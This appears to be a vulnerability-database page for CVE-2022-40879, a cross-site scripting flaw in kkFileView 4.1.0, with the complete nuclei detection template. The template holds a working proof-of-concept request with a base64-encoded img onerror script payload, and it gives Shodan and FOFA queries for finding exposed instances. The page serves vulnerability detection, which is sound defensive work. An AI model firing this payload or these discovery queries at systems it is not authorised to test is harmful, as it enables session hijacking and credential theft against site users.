Browse / CVEs / CVE-2022-40879
CVE-2022-40879· keking / kkfileview· CWE-79
kkFileView 4.1.0 - Cross-Site Scripting
kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Upgrade to a patched version of kkFileView or apply the necessary security patches to mitigate the XSS vulnerability.
How to confirm it
Send: GET {{BaseURL}}/onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ==
Positive when: contains "<img src=1 onerror=alert(document.domain)>=PQ</p>" and "该文件不" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-40879 -u <target>
The full check
id: CVE-2022-40879
info:
name: kkFileView 4.1.0 - Cross-Site Scripting
author: arafatansari,co5mos
severity: medium
description: |
kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the errorMsg parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a patched version of kkFileView or apply the necessary security patches to mitigate the XSS vulnerability.
reference:
- https://github.com/kekingcn/kkFileView/issues/389
- https://nvd.nist.gov/vuln/detail/CVE-2022-40879
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Henry4E36/POCS
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-40879
cwe-id: CWE-79
epss-score: 0.01346
epss-percentile: 0.7166
cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: keking
product: kkfileview
shodan-query:
- http.html:"kkFileView"
- http.html:"kkfileview"
fofa-query:
- body="kkfileview"
- app="kkfileview"
tags: cve,cve2022,kkFileView,xss,keking,vuln
http:
- method: GET
path:
- "{{BaseURL}}/onlinePreview?url=aHR0cHM6Ly93d3cuZ29vZ2xlLjxpbWcgc3JjPTEgb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPj1QUQ=="
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src=1 onerror=alert(document.domain)>=PQ</p>'
- '该文件不'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://github.com/kekingcn/kkFileView/issues/389
- https://nvd.nist.gov/vuln/detail/CVE-2022-40879
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Henry4E36/POCS
Use this check only on systems you are authorised to test. Where the data comes from